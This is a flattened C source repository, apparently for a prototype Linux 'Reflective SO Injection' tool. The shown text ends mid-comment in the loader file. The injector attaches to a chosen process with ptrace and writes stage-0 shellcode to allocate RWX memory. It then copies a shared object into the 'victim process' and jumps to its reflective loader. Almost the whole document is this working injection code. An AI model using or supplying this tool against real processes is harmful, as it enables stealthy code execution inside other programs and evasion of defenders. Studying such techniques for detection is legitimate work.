├── README.md ├── inject └── src │ ├── Makefile │ ├── inject.c │ ├── ptrace.c │ ├── ptrace.h │ ├── utils.c │ └── utils.h └── so └── src ├── ReflectiveLoader.c └── ReflectiveLoader.h /README.md: -------------------------------------------------------------------------------- 1 | # Reflective SO Injection 2 | 3 | Reflective SO Injection was inspired by the concept of Reflective DLL Injection. It is virtually the same thing, but implemented to allow loading of SO (Shared Objects) on Linux. Currently only x86_64 is supported and it is only a prototype. The loader code was written by myself, but with the injection code I stole quite a bit of code from the linux-inject project since there is no sense in redoing what has already been done. 4 | 5 | If you are interested in reading more about how this works please read the following blog post 6 | https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/ 7 | 8 | Known Issues 9 | 10 | 1. SELinux can prevent creation of a RWX mapping in target process causing loader to fail. 11 | 12 | Tested on 13 | * Ubuntu 14.04 x86_64 14 | * Debian 8 x86_64 15 | * Centos 6.8 x86_64 16 | -------------------------------------------------------------------------------- /inject/src/Makefile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosecguerrilla/ReflectiveSOInjection/c5ca2831073b7cb0efd304d1a95b83dbdc582132/inject/src/Makefile -------------------------------------------------------------------------------- /inject/src/inject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "utils.h" 15 | #include "ptrace.h" 16 | 17 | /* 18 | * Copy a file from disk into a memory buffer. WARNING Does not check size! 19 | */ 20 | __attribute__((always_inline)) inline unsigned int 21 | copy_in(int fd, void *address) 22 | { 23 | int cc; 24 | off_t offset = 0; 25 | char buf[1024]; 26 | 27 | while (0 < (cc = read(fd, buf, sizeof(buf)))) 28 | { 29 | memcpy((address + offset), buf, cc); 30 | offset += cc; 31 | } 32 | 33 | return offset; 34 | } 35 | 36 | /* 37 | * Maps our shared object into memory and returns a pointer to it 38 | * Returns NULL if an error occurs 39 | */ 40 | Elf64_Ehdr* map_shared_object_into_memory(char *path) 41 | { 42 | struct stat sb; 43 | unsigned int fd; 44 | fd = open(path, O_RDONLY); 45 | if(fd == -1) 46 | { 47 | printf("[-] Could not open shared object\n"); 48 | exit(-1); 49 | } 50 | 51 | if (0 > stat(path, &sb)) 52 | { 53 | return NULL; 54 | } 55 | 56 | void *mapped = mmap(NULL, sb.st_size + 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 57 | 58 | if(mapped == -1) 59 | { 60 | return NULL; 61 | } 62 | 63 | mapped += (unsigned long)(0x1000 - ((unsigned long)mapped & 0x00000FFF)); 64 | 65 | //Copy file on disk into memory map 66 | copy_in(fd, mapped); 67 | close(fd); 68 | 69 | return (Elf64_Ehdr *)mapped; 70 | } 71 | 72 | __attribute__((always_inline)) inline void* 73 | crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset) 74 | { 75 | void *ret; 76 | register long r10 asm("r10") = flags; 77 | register long r9 asm("r9") = offset; 78 | register long r8 asm("r8") = fd; 79 | 80 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap), 81 | "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 82 | "cc", "memory", "rcx", "r11"); 83 | 84 | return ret; 85 | } 86 | 87 | /* 88 | * Allocate RWX memory region to copy shared object into (this is stage0 shellcode which is injected into target process) 89 | */ 90 | void* injectSharedLibrary(unsigned int size) 91 | { 92 | return crt_mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 93 | } 94 | 95 | /* 96 | * injectSharedLibrary_end() 97 | * 98 | * This function's only purpose is to be contiguous to injectSharedLibrary(), 99 | * so that we can use its address to more precisely figure out how long 100 | * injectSharedLibrary() is. 101 | * 102 | */ 103 | 104 | void injectSharedLibrary_end() 105 | { 106 | } 107 | 108 | int main(int argc, char** argv) 109 | { 110 | if(argc < 4) 111 | { 112 | usage(argv[0]); 113 | return 1; 114 | } 115 | 116 | char* command = argv[1]; 117 | char* commandArg = argv[2]; 118 | char* libname = argv[3]; 119 | char* libPath = realpath(libname, NULL); 120 | 121 | Elf64_Ehdr *so; 122 | char* processName = NULL; 123 | pid_t target = 0; 124 | 125 | struct user_regs_struct oldregs, regs; 126 | 127 | if(!libPath) 128 | { 129 | fprintf(stderr, "can't find file \"%s\"\n", libname); 130 | return 1; 131 | } 132 | 133 | if(!strcmp(command, "-n")) 134 | { 135 | processName = commandArg; 136 | target = findProcessByName(processName); 137 | if(target == -1) 138 | { 139 | fprintf(stderr, "doesn't look like a process named \"%s\" is running right now\n", processName); 140 | return 1; 141 | } 142 | 143 | printf("[i] targeting process \"%s\" with pid %d\n", processName, target); 144 | } 145 | else if(!strcmp(command, "-p")) 146 | { 147 | target = atoi(commandArg); 148 | printf("[i] targeting process with pid %d\n", target); 149 | } 150 | else 151 | { 152 | usage(argv[0]); 153 | return 1; 154 | } 155 | 156 | //Save registers and ptrace_attach to process 157 | memset(&oldregs, 0, sizeof(struct user_regs_struct)); 158 | memset(®s, 0, sizeof(struct user_regs_struct)); 159 | 160 | ptrace_attach(target); 161 | 162 | ptrace_getregs(target, &oldregs); 163 | memcpy(®s, &oldregs, sizeof(struct user_regs_struct)); 164 | 165 | //Load shared object into memory 166 | so = map_shared_object_into_memory(libPath); 167 | printf("[+] shared object mapped at %p\n", so); 168 | 169 | if(so == NULL) 170 | { 171 | printf("[-] Failed to load our shared object into memory... exiting..\n"); 172 | } 173 | 174 | //Determine if SO exports a function called ReflectiveLoader if it does not then we should exit 175 | Elf64_Phdr *phdr = so->e_phoff + (void *)so; 176 | Elf64_Dyn *dynamic; 177 | Elf64_Sym *dynsym; 178 | char *dynstr; 179 | void* ReflectiveLoader = 0; 180 | 181 | //Find dynamic segment 182 | for(int i = 0; i < so->e_phnum; i++) 183 | { 184 | if(phdr[i].p_type == PT_DYNAMIC) 185 | { 186 | dynamic = phdr[i].p_offset + (void *)so; 187 | printf("[+] found dynamic segment at %p\n", dynamic); 188 | break; 189 | } 190 | } 191 | 192 | //Find .dynsym table for our SO 193 | for(int i = 0; dynamic[i].d_tag != DT_NULL; i++) 194 | { 195 | if(dynamic[i].d_tag == DT_SYMTAB) 196 | { 197 | dynsym = (unsigned long)dynamic[i].d_un.d_val + (unsigned long)so; 198 | printf("[+] dynsym found at address %p\n", dynsym); 199 | break; 200 | } 201 | } 202 | 203 | //find .dynstr table for our SO 204 | for(int i = 0; dynamic[i].d_tag != DT_NULL; i++) 205 | { 206 | if(dynamic[i].d_tag == DT_STRTAB) 207 | { 208 | dynstr = (char *)(dynamic[i].d_un.d_val) + (unsigned long)so; 209 | printf("[+] dynstr found at address %p\n", dynstr); 210 | break; 211 | } 212 | } 213 | 214 | //Find address of ReflectiveLoader symbol.. either it blows up here or the SO exports ReflectiveLoader function ;) 215 | for(int i = 0; ;i++) 216 | { 217 | if(strcmp((dynsym[i].st_name + dynstr), "ReflectiveLoader") == 0) 218 | { 219 | ReflectiveLoader = dynsym[i].st_value; 220 | printf("[+] Resolved ReflectiveLoader offset to %p\n", ReflectiveLoader); 221 | break; 222 | } 223 | } 224 | 225 | //Calculate the size of our injection shellcode 226 | struct stat sb; 227 | stat(libPath, &sb); 228 | unsigned int size = sb.st_size; 229 | 230 | //Find some executable memory which we can use to write our shellcode into 231 | long addr = freespaceaddr(target) + sizeof(long); 232 | 233 | //Setup registers to correct location 234 | printf("[i] Setting target registers to appropriate values\n"); 235 | regs.rip = addr; 236 | regs.rdi = size + 0x1000; 237 | regs.rax = 9; 238 | regs.rdx = 7; 239 | regs.r8 = -1; 240 | regs.r9 = 0; 241 | regs.r10 = 34; 242 | 243 | ptrace_setregs(target, ®s); 244 | 245 | // figure out the size of injectSharedLibrary() so we know how big of a buffer to allocate. 246 | size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary; 247 | 248 | // back up whatever data used to be at the address we want to modify. 249 | char* backup = malloc(injectSharedLibrary_size * sizeof(char)); 250 | ptrace_read(target, addr, backup, injectSharedLibrary_size); 251 | 252 | // set up a buffer to hold the code we're going to inject into the 253 | // target process. 254 | char* newcode = malloc(injectSharedLibrary_size * sizeof(char)); 255 | memset(newcode, 0, injectSharedLibrary_size * sizeof(char)); 256 | 257 | // copy the code of injectSharedLibrary() to a buffer. 258 | memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1); 259 | 260 | // find return address of injectSharedLibrary and overwrite it with software breakpoint 261 | intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary; 262 | newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION; 263 | 264 | // copy injectSharedLibrary()'s code to the target address 265 | printf("[i] Overwriting target memory region with shellcode\n"); 266 | ptrace_write(target, addr, newcode, injectSharedLibrary_size); 267 | 268 | //let the target run our injected code 269 | printf("[+] Transfering execution to stage 0 shellcode\n"); 270 | ptrace_cont(target); 271 | 272 | // at this point, the target should have run mmap 273 | struct user_regs_struct mmap_regs; 274 | memset(&mmap_regs, 0, sizeof(struct user_regs_struct)); 275 | ptrace_getregs(target, &mmap_regs); 276 | unsigned long long targetBuf = mmap_regs.rax; 277 | 278 | printf("[+] Returned from Stage 0 shell code RIP of target is %p\n", mmap_regs.rip); 279 | printf("[i] Stage 0 mmap returned memory address of %p.. verifying allocation succeeded..\n", mmap_regs.rax); 280 | 281 | if(isRWX(target, mmap_regs.rax) == -1) 282 | { 283 | fprintf(stderr, "mmap() failed to allocate memory\n"); 284 | restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs); 285 | free(backup); 286 | free(newcode); 287 | return -1; 288 | } 289 | 290 | printf("[+] Okay.. mmap allocation was successful!\n"); 291 | 292 | //Get page aligned address of RWX memory region in target process 293 | void *so_inject_addr = mmap_regs.rax; 294 | so_inject_addr += (unsigned long)(0x1000 - ((unsigned long)so_inject_addr & 0x00000FFF)); 295 | 296 | printf("[+] Writing our shared object into the victim process address space MUAHAHAHA!!!\n"); 297 | //ptrace_write our SO into this buffer (could use process_vm_writev to speed up transfer of data) 298 | ptrace_write(target, (unsigned long)so_inject_addr, (void *)so, size); 299 | 300 | printf("[+] Setting RIP to ReflectiveLoader function\n"); 301 | //Modify program registers to point to this memory region and call the ReflectiveLoader function 302 | regs.rip = (unsigned long)ReflectiveLoader + so_inject_addr; 303 | ptrace_setregs(target, ®s); 304 | 305 | printf("[+] Calling ReflectiveLoader function! Let's hope this works ;D\n"); 306 | ptrace_cont(target); 307 | 308 | //Restore state and detach 309 | restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs); 310 | free(backup); 311 | free(newcode); 312 | 313 | } 314 | -------------------------------------------------------------------------------- /inject/src/ptrace.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "ptrace.h" 10 | 11 | /* 12 | * ptrace_attach() 13 | * 14 | * Use ptrace() to attach to a process. This requires calling waitpid() to 15 | * determine when the process is ready to be traced. 16 | * 17 | * args: 18 | * - int pid: pid of the process to attach to 19 | * 20 | */ 21 | 22 | void ptrace_attach(pid_t target) 23 | { 24 | int waitpidstatus; 25 | 26 | if(ptrace(PTRACE_ATTACH, target, NULL, NULL) == -1) 27 | { 28 | fprintf(stderr, "ptrace(PTRACE_ATTACH) failed\n"); 29 | exit(1); 30 | } 31 | 32 | if(waitpid(target, &waitpidstatus, WUNTRACED) != target) 33 | { 34 | fprintf(stderr, "waitpid(%d) failed\n", target); 35 | exit(1); 36 | } 37 | } 38 | 39 | /* 40 | * ptrace_detach() 41 | * 42 | * Detach from a process that is being ptrace()d. Unlike ptrace_cont(), this 43 | * completely ends our relationship with the target process. 44 | * 45 | * args: 46 | * - int pid: pid of the process to detach from. this process must already be 47 | * ptrace()d by us in order for this to work. 48 | * 49 | */ 50 | 51 | void ptrace_detach(pid_t target) 52 | { 53 | if(ptrace(PTRACE_DETACH, target, NULL, NULL) == -1) 54 | { 55 | fprintf(stderr, "ptrace(PTRACE_DETACH) failed\n"); 56 | exit(1); 57 | } 58 | } 59 | 60 | /* 61 | * ptrace_getregs() 62 | * 63 | * Use ptrace() to get a process' current register state. Uses REG_TYPE 64 | * preprocessor macro in order to allow for both ARM and x86/x86_64 65 | * functionality. 66 | * 67 | * args: 68 | * - int pid: pid of the target process 69 | * - struct REG_TYPE* regs: a struct (either user_regs_struct or user_regs, 70 | * depending on architecture) to store the resulting register data in 71 | * 72 | */ 73 | 74 | void ptrace_getregs(pid_t target, struct REG_TYPE* regs) 75 | { 76 | if(ptrace(PTRACE_GETREGS, target, NULL, regs) == -1) 77 | { 78 | fprintf(stderr, "ptrace(PTRACE_GETREGS) failed\n"); 79 | exit(1); 80 | } 81 | } 82 | 83 | /* 84 | * ptrace_cont() 85 | * 86 | * Continue the execution of a process being traced using ptrace(). Note that 87 | * this is different from ptrace_detach(): we still retain control of the 88 | * target process after this call. 89 | * 90 | * args: 91 | * - int pid: pid of the target process 92 | * 93 | */ 94 | 95 | void ptrace_cont(pid_t target) 96 | { 97 | struct timespec* sleeptime = malloc(sizeof(struct timespec)); 98 | 99 | sleeptime->tv_sec = 0; 100 | sleeptime->tv_nsec = 5000000; 101 | 102 | if(ptrace(PTRACE_CONT, target, NULL, NULL) == -1) 103 | { 104 | fprintf(stderr, "ptrace(PTRACE_CONT) failed\n"); 105 | exit(1); 106 | } 107 | 108 | nanosleep(sleeptime, NULL); 109 | 110 | // make sure the target process received SIGTRAP after stopping. 111 | checktargetsig(target); 112 | } 113 | 114 | /* 115 | * ptrace_setregs() 116 | * 117 | * Use ptrace() to set the target's register state. 118 | * 119 | * args: 120 | * - int pid: pid of the target process 121 | * - struct REG_TYPE* regs: a struct (either user_regs_struct or user_regs, 122 | * depending on architecture) containing the register state to be set in the 123 | * target process 124 | * 125 | */ 126 | 127 | void ptrace_setregs(pid_t target, struct REG_TYPE* regs) 128 | { 129 | if(ptrace(PTRACE_SETREGS, target, NULL, regs) == -1) 130 | { 131 | fprintf(stderr, "ptrace(PTRACE_SETREGS) failed\n"); 132 | exit(1); 133 | } 134 | } 135 | 136 | /* 137 | * ptrace_getsiginfo() 138 | * 139 | * Use ptrace() to determine what signal was most recently raised by the target 140 | * process. This is primarily used for to determine whether the target process 141 | * has segfaulted. 142 | * 143 | * args: 144 | * - int pid: pid of the target process 145 | * 146 | * returns: 147 | * - a siginfo_t containing information about the most recent signal raised by 148 | * the target process 149 | * 150 | */ 151 | 152 | siginfo_t ptrace_getsiginfo(pid_t target) 153 | { 154 | siginfo_t targetsig; 155 | if(ptrace(PTRACE_GETSIGINFO, target, NULL, &targetsig) == -1) 156 | { 157 | fprintf(stderr, "ptrace(PTRACE_GETSIGINFO) failed\n"); 158 | exit(1); 159 | } 160 | return targetsig; 161 | } 162 | 163 | /* 164 | * ptrace_read() 165 | * 166 | * Use ptrace() to read the contents of a target process' address space. 167 | * 168 | * args: 169 | * - int pid: pid of the target process 170 | * - unsigned long addr: the address to start reading from 171 | * - void *vptr: a pointer to a buffer to read data into 172 | * - int len: the amount of data to read from the target 173 | * 174 | */ 175 | 176 | void ptrace_read(int pid, unsigned long addr, void *vptr, int len) 177 | { 178 | int bytesRead = 0; 179 | int i = 0; 180 | long word = 0; 181 | long *ptr = (long *) vptr; 182 | 183 | while (bytesRead < len) 184 | { 185 | word = ptrace(PTRACE_PEEKTEXT, pid, addr + bytesRead, NULL); 186 | if(word == -1) 187 | { 188 | fprintf(stderr, "ptrace(PTRACE_PEEKTEXT) failed\n"); 189 | exit(1); 190 | } 191 | bytesRead += sizeof(word); 192 | ptr[i++] = word; 193 | } 194 | } 195 | 196 | /* 197 | * ptrace_write() 198 | * 199 | * Use ptrace() to write to the target process' address space. 200 | * 201 | * args: 202 | * - int pid: pid of the target process 203 | * - unsigned long addr: the address to start writing to 204 | * - void *vptr: a pointer to a buffer containing the data to be written to the 205 | * target's address space 206 | * - int len: the amount of data to write to the target 207 | * 208 | */ 209 | 210 | void ptrace_write(int pid, unsigned long addr, void *vptr, int len) 211 | { 212 | int byteCount = 0; 213 | long word = 0; 214 | 215 | while (byteCount < len) 216 | { 217 | memcpy(&word, vptr + byteCount, sizeof(word)); 218 | word = ptrace(PTRACE_POKETEXT, pid, addr + byteCount, word); 219 | if(word == -1) 220 | { 221 | fprintf(stderr, "ptrace(PTRACE_POKETEXT) failed\n"); 222 | exit(1); 223 | } 224 | byteCount += sizeof(word); 225 | } 226 | } 227 | 228 | /* 229 | * checktargetsig() 230 | * 231 | * Check what signal was most recently returned by the target process being 232 | * ptrace()d. We expect a SIGTRAP from the target process, so raise an error 233 | * and exit if we do not receive that signal. The most likely non-SIGTRAP 234 | * signal for us to receive would be SIGSEGV. 235 | * 236 | * args: 237 | * - int pid: pid of the target process 238 | * 239 | */ 240 | 241 | void checktargetsig(int pid) 242 | { 243 | // check the signal that the child stopped with. 244 | siginfo_t targetsig = ptrace_getsiginfo(pid); 245 | 246 | // if it wasn't SIGTRAP, then something bad happened (most likely a 247 | // segfault). 248 | /*if(targetsig.si_signo != SIGTRAP) 249 | { 250 | fprintf(stderr, "instead of expected SIGTRAP, target stopped with signal %d: %s\n", targetsig.si_signo, strsignal(targetsig.si_signo)); 251 | fprintf(stderr, "sending process %d a SIGSTOP signal for debugging purposes\n", pid); 252 | ptrace(PTRACE_CONT, pid, NULL, SIGSTOP); 253 | exit(1); 254 | }*/ 255 | } 256 | 257 | /* 258 | * restoreStateAndDetach() 259 | * 260 | * Once we're done debugging a target process, restore the process' backed-up 261 | * data and register state and let it go on its merry way. 262 | * 263 | * args: 264 | * - pid_t target: pid of the target process 265 | * - unsigned long addr: address within the target's address space to write 266 | * backed-up data to 267 | * - void* backup: a buffer pointing to the backed-up data 268 | * - int datasize: the amount of backed-up data to write 269 | * - struct REG_TYPE oldregs: backed-up register state to restore 270 | * 271 | */ 272 | 273 | void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs) 274 | { 275 | ptrace_write(target, addr, backup, datasize); 276 | ptrace_setregs(target, &oldregs); 277 | ptrace_detach(target); 278 | } 279 | -------------------------------------------------------------------------------- /inject/src/ptrace.h: -------------------------------------------------------------------------------- 1 | #ifdef ARM 2 | #define REG_TYPE user_regs 3 | #else 4 | #define REG_TYPE user_regs_struct 5 | #endif 6 | 7 | void ptrace_attach(pid_t target); 8 | void ptrace_detach(pid_t target); 9 | void ptrace_getregs(pid_t target, struct REG_TYPE* regs); 10 | void ptrace_cont(pid_t target); 11 | void ptrace_setregs(pid_t target, struct REG_TYPE* regs); 12 | siginfo_t ptrace_getsiginfo(pid_t target); 13 | void ptrace_read(int pid, unsigned long addr, void *vptr, int len); 14 | void ptrace_write(int pid, unsigned long addr, void *vptr, int len); 15 | void checktargetsig(int pid); 16 | void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs); 17 | -------------------------------------------------------------------------------- /inject/src/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "utils.h" 9 | 10 | /* 11 | * findProcessByName() 12 | * 13 | * Given the name of a process, try to find its PID by searching through /proc 14 | * and reading /proc/[pid]/exe until we find a process whose name matches the 15 | * given process. 16 | * 17 | * args: 18 | * - char* processName: name of the process whose pid to find 19 | * 20 | * returns: 21 | * - a pid_t containing the pid of the process (or -1 if not found) 22 | * 23 | */ 24 | 25 | pid_t findProcessByName(char* processName) 26 | { 27 | if(processName == NULL) 28 | { 29 | return -1; 30 | } 31 | 32 | struct dirent *procDirs; 33 | 34 | DIR *directory = opendir("/proc/"); 35 | 36 | if (directory) 37 | { 38 | while ((procDirs = readdir(directory)) != NULL) 39 | { 40 | if (procDirs->d_type != DT_DIR) 41 | continue; 42 | 43 | pid_t pid = atoi(procDirs->d_name); 44 | 45 | int exePathLen = 10 + strlen(procDirs->d_name) + 1; 46 | char* exePath = malloc(exePathLen * sizeof(char)); 47 | 48 | if(exePath == NULL) 49 | { 50 | continue; 51 | } 52 | 53 | sprintf(exePath, "/proc/%s/exe", procDirs->d_name); 54 | exePath[exePathLen-1] = '\0'; 55 | 56 | char* exeBuf = malloc(PATH_MAX * sizeof(char)); 57 | if(exeBuf == NULL) 58 | { 59 | free(exePath); 60 | continue; 61 | } 62 | ssize_t len = readlink(exePath, exeBuf, PATH_MAX - 1); 63 | 64 | if(len == -1) 65 | { 66 | free(exePath); 67 | free(exeBuf); 68 | continue; 69 | } 70 | 71 | exeBuf[len] = '\0'; 72 | 73 | char* exeName = NULL; 74 | char* exeToken = strtok(exeBuf, "/"); 75 | while(exeToken) 76 | { 77 | exeName = exeToken; 78 | exeToken = strtok(NULL, "/"); 79 | } 80 | 81 | if(strcmp(exeName, processName) == 0) 82 | { 83 | free(exePath); 84 | free(exeBuf); 85 | closedir(directory); 86 | return pid; 87 | } 88 | 89 | free(exePath); 90 | free(exeBuf); 91 | } 92 | 93 | closedir(directory); 94 | } 95 | 96 | return -1; 97 | } 98 | 99 | /* 100 | * freespaceaddr() 101 | * 102 | * Search the target process' /proc/pid/maps entry and find an executable 103 | * region of memory that we can use to run code in. 104 | * 105 | * args: 106 | * - pid_t pid: pid of process to inspect 107 | * 108 | * returns: 109 | * - a long containing the address of an executable region of memory inside the 110 | * specified process' address space. 111 | * 112 | */ 113 | 114 | long freespaceaddr(pid_t pid) 115 | { 116 | FILE *fp; 117 | char filename[30]; 118 | char line[850]; 119 | long addr; 120 | char str[20]; 121 | char perms[5]; 122 | sprintf(filename, "/proc/%d/maps", pid); 123 | fp = fopen(filename, "r"); 124 | if(fp == NULL) 125 | exit(1); 126 | while(fgets(line, 850, fp) != NULL) 127 | { 128 | sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str); 129 | 130 | if(strstr(perms, "x") != NULL) 131 | { 132 | break; 133 | } 134 | } 135 | fclose(fp); 136 | return addr; 137 | } 138 | 139 | //isRWX checks if the RWX memory was allocated in target process at a specific addr 140 | int isRWX(pid_t pid, void *address) 141 | { 142 | int success = -1; 143 | FILE *fp; 144 | char filename[30]; 145 | char line[850]; 146 | long addr; 147 | char str[20]; 148 | char perms[5]; 149 | sprintf(filename, "/proc/%d/maps", pid); 150 | fp = fopen(filename, "r"); 151 | if(fp == NULL) 152 | exit(1); 153 | while(fgets(line, 850, fp) != NULL) 154 | { 155 | sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str); 156 | 157 | if(strstr(perms, "rwx") != NULL && address == addr) 158 | { 159 | success = 1; 160 | } 161 | } 162 | fclose(fp); 163 | return success; //failure = -1, success = 1 164 | } 165 | 166 | 167 | /* 168 | * getlibcaddr() 169 | * 170 | * Gets the base address of libc.so inside a process by reading /proc/pid/maps. 171 | * 172 | * args: 173 | * - pid_t pid: the pid of the process whose libc.so base address we should 174 | * find 175 | * 176 | * returns: 177 | * - a long containing the base address of libc.so inside that process 178 | * 179 | */ 180 | 181 | long getlibcaddr(pid_t pid) 182 | { 183 | FILE *fp; 184 | char filename[30]; 185 | char line[850]; 186 | long addr; 187 | char perms[5]; 188 | char* modulePath; 189 | sprintf(filename, "/proc/%d/maps", pid); 190 | fp = fopen(filename, "r"); 191 | if(fp == NULL) 192 | exit(1); 193 | while(fgets(line, 850, fp) != NULL) 194 | { 195 | sscanf(line, "%lx-%*lx %*s %*s %*s %*d", &addr); 196 | if(strstr(line, "libc-") != NULL) 197 | { 198 | break; 199 | } 200 | } 201 | fclose(fp); 202 | return addr; 203 | } 204 | 205 | /* 206 | * checkloaded() 207 | * 208 | * Given a process ID and the name of a shared library, check whether that 209 | * process has loaded the shared library by reading entries in its 210 | * /proc/[pid]/maps file. 211 | * 212 | * args: 213 | * - pid_t pid: the pid of the process to check 214 | * - char* libname: the library to search /proc/[pid]/maps for 215 | * 216 | * returns: 217 | * - an int indicating whether or not the library has been loaded into the 218 | * process (1 = yes, 0 = no) 219 | * 220 | */ 221 | 222 | int checkloaded(pid_t pid, char* libname) 223 | { 224 | FILE *fp; 225 | char filename[30]; 226 | char line[850]; 227 | long addr; 228 | char perms[5]; 229 | char* modulePath; 230 | sprintf(filename, "/proc/%d/maps", pid); 231 | fp = fopen(filename, "r"); 232 | if(fp == NULL) 233 | exit(1); 234 | while(fgets(line, 850, fp) != NULL) 235 | { 236 | sscanf(line, "%lx-%*lx %*s %*s %*s %*d", &addr); 237 | if(strstr(line, libname) != NULL) 238 | { 239 | fclose(fp); 240 | return 1; 241 | } 242 | } 243 | fclose(fp); 244 | return 0; 245 | } 246 | 247 | /* 248 | * getFunctionAddress() 249 | * 250 | * Find the address of a function within our own loaded copy of libc.so. 251 | * 252 | * args: 253 | * - char* funcName: name of the function whose address we want to find 254 | * 255 | * returns: 256 | * - a long containing the address of that function 257 | * 258 | */ 259 | 260 | long getFunctionAddress(char* funcName) 261 | { 262 | void* self = dlopen("libc.so.6", RTLD_LAZY); 263 | void* funcAddr = dlsym(self, funcName); 264 | return (long)funcAddr; 265 | } 266 | 267 | /* 268 | * findRet() 269 | * 270 | * Starting at an address somewhere after the end of a function, search for the 271 | * "ret" instruction that ends it. We do this by searching for a 0xc3 byte, and 272 | * assuming that it represents that function's "ret" instruction. This should 273 | * be a safe assumption. Function addresses are word-aligned, and so there's 274 | * usually extra space at the end of a function. This space is always padded 275 | * with "nop"s, so we'll end up just searching through a series of "nop"s 276 | * before finding our "ret". In other words, it's unlikely that we'll run into 277 | * a 0xc3 byte that corresponds to anything other than an actual "ret" 278 | * instruction. 279 | * 280 | * Note that this function only applies to x86 and x86_64, and not ARM. 281 | * 282 | * args: 283 | * - void* endAddr: the ending address of the function whose final "ret" 284 | * instruction we want to find 285 | * 286 | * returns: 287 | * - an unsigned char* pointing to the address of the final "ret" instruction 288 | * of the specified function 289 | * 290 | */ 291 | 292 | unsigned char* findRet(void* endAddr) 293 | { 294 | unsigned char* retInstAddr = endAddr; 295 | while(*retInstAddr != INTEL_RET_INSTRUCTION) 296 | { 297 | retInstAddr--; 298 | } 299 | return retInstAddr; 300 | } 301 | 302 | /* 303 | * usage() 304 | * 305 | * Print program usage and exit. 306 | * 307 | * args: 308 | * - char* name: the name of the executable we're running out of 309 | * 310 | */ 311 | 312 | void usage(char* name) 313 | { 314 | printf("usage: %s [-n process-name] [-p pid] [library-to-inject]\n", name); 315 | } 316 | -------------------------------------------------------------------------------- /inject/src/utils.h: -------------------------------------------------------------------------------- 1 | #define INTEL_RET_INSTRUCTION 0xc3 2 | #define INTEL_INT3_INSTRUCTION 0xcc 3 | 4 | pid_t findProcessByName(char* processName); 5 | long freespaceaddr(pid_t pid); 6 | long getlibcaddr(pid_t pid); 7 | int checkloaded(pid_t pid, char* libname); 8 | long getFunctionAddress(char* funcName); 9 | unsigned char* findRet(void* endAddr); 10 | void usage(char* name); 11 | int isRWX(pid_t pid, void *address); 12 | -------------------------------------------------------------------------------- /so/src/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2016, Infosec Guerilla (infosecguerrilla.wordpress.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | 30 | //===============================================================================================// 31 | // Debug mode used to test loader capabilities // 32 | //===============================================================================================// 33 | 34 | #ifdef RSOI_DEBUG_MODE 35 | #define debug(M, ...) { \ 36 | printf("DEBUG %s:%d: " M "\n", __FILE__, __LINE__, ##__VA_ARGS__); \ 37 | } 38 | #else 39 | #define debug(M, ...) 40 | #endif 41 | 42 | //===============================================================================================// 43 | 44 | #ifdef RSOI_DEBUG_MODE 45 | 46 | int main(int argc, char *argv[]) 47 | { 48 | if(argc < 2) 49 | { 50 | printf("Usage: %s \n", argv[0]); 51 | return -1; 52 | } 53 | 54 | ReflectiveLoader(argv[1]); 55 | return 0; 56 | } 57 | #endif 58 | 59 | //===============================================================================================// 60 | 61 | /* 62 | * This is a position independent 